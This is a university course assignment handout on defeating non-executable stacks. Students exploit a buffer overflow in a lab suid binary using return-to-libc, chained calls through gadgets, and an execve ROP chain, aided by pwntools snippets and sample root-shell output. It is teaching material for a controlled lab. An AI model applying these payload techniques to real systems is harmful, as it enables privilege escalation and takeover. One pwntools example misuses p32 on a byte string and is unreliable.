Project 3.1 - Bypassing stack protections

Network Security - Spring 2024

Due Date: April 19, 11:55 PM

Contents

1 Getting Started

Before you get started, here's a few things you need to do to setup your environment.

1. Make sure that your VM instance (used for the previous project) is up and running. No database connection or other deployment pre-requisites are required for the project, however, you are expected to use a VM instance for this project, as you did for the previous project.
2. Download the archive from LMS. Extract the contents of the archive, and copy it over to your VM, using `scp` or any other method that you have been using.
3. Create a new directory for the project (on VM), using `mkdir`.
4. Copy over the `setup.sh` script over to this directory. This script is provided to help you set up the environment, specific to this project. No other steps are required. Update your roll number inside this script. Then, make it executable, and run it using the following command (on the VM, inside the new directory):

```
$ chmod +x setup.sh && ./setup.sh
```

5. The script performs the following actions required for the project:
   - Installs the required packages, including `gdb` and `python`. You can also install these packages manually, if any of them is missing.
   - Downloads the required binary for the project tasks, from a remote server and places it in the current directory. It also makes the binary an `suid` binary, whose owner is `root`. The file named `binary` is the target attack application for all the tasks (see the next section).
   - Installs the python library `pwntools/pwnlib` (in a virtual environment), which will be used to write exploit scripts.

2 Project Tasks

In the last project, we had an executable stack available, which allows the execution of arbitrary machine code from the stack. However, the primary way to defeat this is to simply make the stack non-executable, which is the default behavior in modern operating systems causing the program to fault as soon as it tries to execute code from the stack. This mechanism is, however, not perfect and can be bypassed by using techniques such as *Return to `libc`* or *Return Oriented Programming* (ROP). In this project, we will be using both to bypass the stack protections and execute arbitrary code on the server, without relying on the stack being executable.

2.1 Getting familiar with `libc`

The C standard library (`libc`) is a collection of functions that are used by C programs. It provides a standard interface for system calls, memory management, string manipulation, and other common tasks. The `libc` library is loaded into memory when a program is executed, and its functions can be called from within the program.

Generally, programs are compiled dynamically with the `libc` library, which means that the program does not contain the actual code for the functions in `libc`. Instead, it contains references to the functions in `libc`, which are resolved at runtime. This allows for smaller executable sizes and easier updates to the library. You are probably already familiar with functions like `system()` or `exit()` which are part of the `libc` library. The `libc` library is also used to provide system calls, which are the interface between user programs and the operating system.

If ASLR is disabled, the C library is loaded at fixed addresses in memory, during runtime of the program. Thus, the addresses of these functions can be found by using `gdb`. Set a breakpoint on `main` and run the program. You can then find the address of any function using the `print` command in gdb, e.g. `print system`.

The goal of this task is to exploit a buffer overflow in the provided binary, in order to jump to a function inside the `libc`. Note that the calling convention on x86 (or i386) involves pushing arguments on the stack (in reverse order), followed by pushing the return address to jump to after function returns. These values must be provided on the stack to create artifical stack frames.

2.1.1 Task 1: Invoking library functions

For this task, you are required to create an exploit script that launches the application, and provides it with a payload that exploits the buffer overflow vulnerability. The payload should contain a fake stack frame, which will be used to call the `system` function in the `libc`. `system()` takes a `char*` as an input (a string), and runs that as a command via the shell.

1. Using `gdb` find the following:
   - Read the program's disassembly and find the function containing the vulnerable `gets()` function call. Find the offset from the Frame Pointer location.
   - Address of the `system` function.
   - The binary contains a useful string `"/bin/sh"` which is used to execute the shell command. Find the address of this string in the binary (maybe look in the static storage).
2. Using these addresses, construct a payload that invokes the `system` function, with the string `"/bin/sh"` as an argument. This involves: junk bytes to fill the buffer, junk bytes to fill the Frame Pointer location followed by the actual target return address (in this case, the address of the `system` function). Note that the stack frame for the function will include a return address for the function too, and then the arguments required for the function.

   The following diagram shows the layout for the payload, corresponding to the stack layout.

```
         |---------------------|
         |    ptr to /bin/sh   |
^        |---------------------|
|        | ret addr for system |
|        |---------------------|
|        |    addr of system   |
|        |---------------------|
|        |    frame pointer    |
|        |---------------------|
|        |                     |
         | buffer bytes (junk) |
         |                     |
         |---------------------|
```

Submission requirements:

For this project, you will be writing the exploit scripts yourself. Refer to section 4 for details on how to use the `pwntools` library to write the exploit script.

You are required to submit the following. Each of the following items is required, and carries equal marks.

1. `exp-task1.py`: the exploit script, with the correct buffer offset and return address.
2. A screenshot of the script, launching a shell from the binary. Include the output of the following two commands, to demonstrate a working shell: `ls, whoami`. Following is a sample of the expected output:

```
$ python exp-task1.py
[+] Starting local process './binary': pid 190518
Payload size: 32
[*] Switching to interactive mode
> AAAAAAAAAAAAAAAAaaaap\x91\xdb\xf7\x90\x04\x08\x08\xa0\x04\x08
$ ls
a.out             exp_sys_exec.py  makefile     rop.py
$ whoami
root
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './binary' stopped with exit code -11 (SIGSEGV) (pid 190518)
[*] Got EOF while sending in interactive
```

2.1.2 Task 2: Calling multiple functions

Return-to-libc can be made more powerful by chaining multiple functions together. For this task, you'll be doing a sequence of `system()` calls along with a final `exit()` call to control the process' return code. Specifically, you need to execute the following sequence of function calls:

`system("usr/bin/whoami") -> system("/bin/ls") -> system("/bin/sh") -> exit(0x171)`

The strings required for the `system()` calls are already present in the binary. You can find their addresses using `gdb`, or the `strings` utility. Also, note that the specific exit code of `0x171` is required by the process.

1. Using `gdb` find the address of the loaded `exit()` function (at the runtime) in the `libc` library. This function is used to exit the program with a specific return code.
2. Also find the addresses (in the binary) of the following three strings:
   `"/bin/sh", "/bin/ls", "/usr/bin/whoami"`.
3. The aim is to create stack frames for multiple function calls, so that each time a target function returns, it returns to the stack frame of the next function in the chain. However, for it to correctly work, we need a way to control the amount of times the stack pointer is changed. For that, we can use something called a `gadget`, which is essentially a piece of code, inside the target binary's instruction memory, that can perform the required operations. We need a gadget that pops the stack once, so that we can skip past the last function's frame, and enter a new stack's frame.

   Consider the following stack frame assembly (constructed as a payload) for a chain of function calls (frame for the `exit()` call is placed on top of the frame for `system()` call). We'll explore why this won't work, and a gadget is needed:

```
                   |--------------------|
                |--|   arg for exit()   |  --> e.g. 0x0
    exit's frame |  |--------------------|
                |--| ret addr for exit  |  --> can be junk value
                   |--------------------|
                |--| ptr to string arg  |  --> ptr to string e.g. "/bin/sh"
system 's frame  |  |--------------------|
                |--|ret addr for system |  --> addr of exit in libc
                   |--------------------|
                |--|   addr of system   |  <-- esp, right before ret-
                |  |--------------------|      urning to start of system()
   prev frame   |  |        xxxx        |
                |  |--------------------|
```

After entering the target function, the function receives its provided argument from the stack. Just before returning from the `system` function, the stack pointer would be pointing at the attacker-supplied return address for the library's `system` function, in this case, that would be the entry-point of the `exit` function. However, once the function enters the `exit` function, the stack pointer is pointing at the argument passed to the `system` function (because of the `ret` instruction popping the stack once). However, upon entry, the stack pointer should be pointing at the return address. For that to happen, we must find a way to increment the stack pointer once more to get the stack pointer to point to the correct memory locations.

Therefore, we must find a way to return to some sequence of instructions of the format `pop <reg>; ret;`. Find details on how you can do that in `python` in section 4. This is a gadget, that will introduce the extra increment of the stack pointer. The instruction pops the value from the top of the stack (in this case, it would be the argument for the previous function call), and jumps (because of the `ret` in the gadget) to the next function provided in the constructed stack frame.

For this purpose, you must construct a payload with the following layout (to perform the series of function calls specified earlier). Feel free to check the execution step-by-step to ensure that only the given series of function calls will be executed without crashing the process.

```
|--------------------|
|   exit code arg    |
|--------------------|
|   junk ret addr    |
|--------------------|
|    addr of exit    |
|--------------------|
|   ptr to /bin/sh   |
|--------------------|
|   addr of gadget   |
|--------------------|
|   addr of system   |
|--------------------|
|   ptr to /bin/ls   |
|--------------------|
|   addr of gadget   |
|--------------------|
|   addr of system   |
|--------------------|
| ptr to whoami str  |
|--------------------|
|   addr of gadget   |
|--------------------|
|   addr of system   |
|--------------------|
|   frame pointer    |
|--------------------|
|                    |
|  junk buff bytes   |
|                    |
|--------------------|
```

Submission requirements:

You are required to submit the following. Each of the following items is required and carries equal marks.

1. exp-task2.py: the exploit script, with the correct buffer offset and return address.
2. A screenshot of the script execution, clearly showing the output of the sequence of function calls, e.g. as shown follows:

```
$ python exp-task2.py
[+] Starting local process './binary': pid 188780
[*] Switching to interactive mode
... output omitted
root
... output of ls omitted
$ pwd
... output of pwd inside shell
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './binary' stopped with exit code 0x171 (pid 188780)
[*] Got EOF while sending in interactive
```

   Note that the exit code of the process is also shown, which must be included.

2.2 Return oriented programming

The idea of the gadget can be extended further, to chain multiple gadgets to perform arbitrary operations. For example, one can setup certain values in the required registers to perform any arbitrary syscall, by only using the instructions from the memory of the process itself, without relying on executing arbitrary code from the stack.

2.2.1 Task 3: Executing system calls

For the purpose of this task, we will perform the `execve` syscall to spawn a shell session from the program. The gadget from the previous task e.g. `pop %eax; ret;` will put the value at the top of the stack, into the register `eax`, and will then jump to the next gadget, whose address is placed on the stack. After a series of such operations we can jump to an `int 0x80` instruction (which initiates a system call) to perform an arbitrary operation.

Therefore, using techniques from the previous task, you must find a way to execute the following system call: `execve("/bin/sh", NULL, NULL)`.

The required register configuration is as follows:

Register	Value
eax	`0xb` (Syscall number for `execve`)
ebx	`ptr to "/bin/sh"` (First argument)
ecx	`0` (Second argument)
edx	`0` (Syscall number)

In order to achieve the required register configuration, you must first find the `pop; ret` gadget corresponding to each of these registers. Then, one can construct a payload as follows (the addresses are hypothetical):

```
           |--------------------|
0xfffeeff0 | int 80 gadget addr |
           |--------------------|
0xfffeefec |  required edx val  |
           |--------------------|
0xfffeefe8 | popedx gadget addr |
           |--------------------|
0xfffeefe4 |  required ecx val  |
           |--------------------|
0xfffeefe0 | popecx gadget addr |
           |--------------------|
0xfffeefdc |  required ebx val  |
           |--------------------|
0xfffeefd8 | popebx gadget addr |
           |--------------------|
0xfffeefd4 |  required eax val  |
           |--------------------|
0xfffeefd0 | popeax gadget addr |
           |--------------------|
0xfffeefcc |   frame pointer    |
           |--------------------|
0xfffeefc8 |                    |
           |--------------------|
0xfffeefc4 |                    |
           |--------------------|
```

This would fill the registers with the required values, and then call the `0x80` interrupt, to initiate a syscall. Please refer to section 4 to find details on how to find gadgets.

Submission requirements:

You are required to submit the following. Each of the following items is required, and carries equal marks.

1. `exp-task3.py`: the exploit script, with the correct buffer offset and return address.
2. A screenshot of the script execution, clearly showing a spawned shell session. Show the output of the following two commands on the spawned shell: `pwd, whoami`.

```
$ python exp-task3.py
[+] Starting local process './binary': pid 188780
[*] Switching to interactive mode
... output omitted
$ whoami
root
$ pwd
... output of pwd inside shell
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './binary' stopped with exit code 0 (pid 188780)
[*] Got EOF while sending in interactive
```

3 Submission

The following three directories, each containing the required submission files for the corresponding task:

- `Task1`: Find details in 2.1.1.
- `Task2`: Find details in 2.1.2.
- `Task3`: Find details in 2.2.1.

Create an archive named `s_<your_rollnumber>.zip`, containing these three directories, and submit it via LMS.

4 Appendix

Writing exploit scripts with python

The provided `setup.sh` script installs the python library `pwnlib/pwntools`. You can use this library to quickly craft payloads and send to the binary.

1. First import the library, and then load the target binary, e.g. as follows:

```python
from pwn import *
p = process('./binary')
```

2. Construct a payload, e.g. as follows. Use the function `p32()` to pack bytes in little-endian order required.

```python
payload = p32(b'a' * 16) + p32(b'A' * 4) + p32(0xdeadbeef)
```

3. Send the constructed payload to the binary as follows (make sure to make the process interactive too):

```python
p.sendline(payload)
p.interactive()
```

4. One can easily look for gadgets in a binary, as follows:

```python
elf = ELF('./simple')
rop = ROP(elf)

print(rop.find_gadget(['pop eax', 'ret'])) # prints the addr of the first pop
    eax; ret gadget
print(rop.find_gadget(['int 0x80', 'ret'])) # prints the addr of the first
    syscall gadget
```

For more resources and information, you can visit the documentation of the library at `https://docs.pwntools.com/en/stable/`.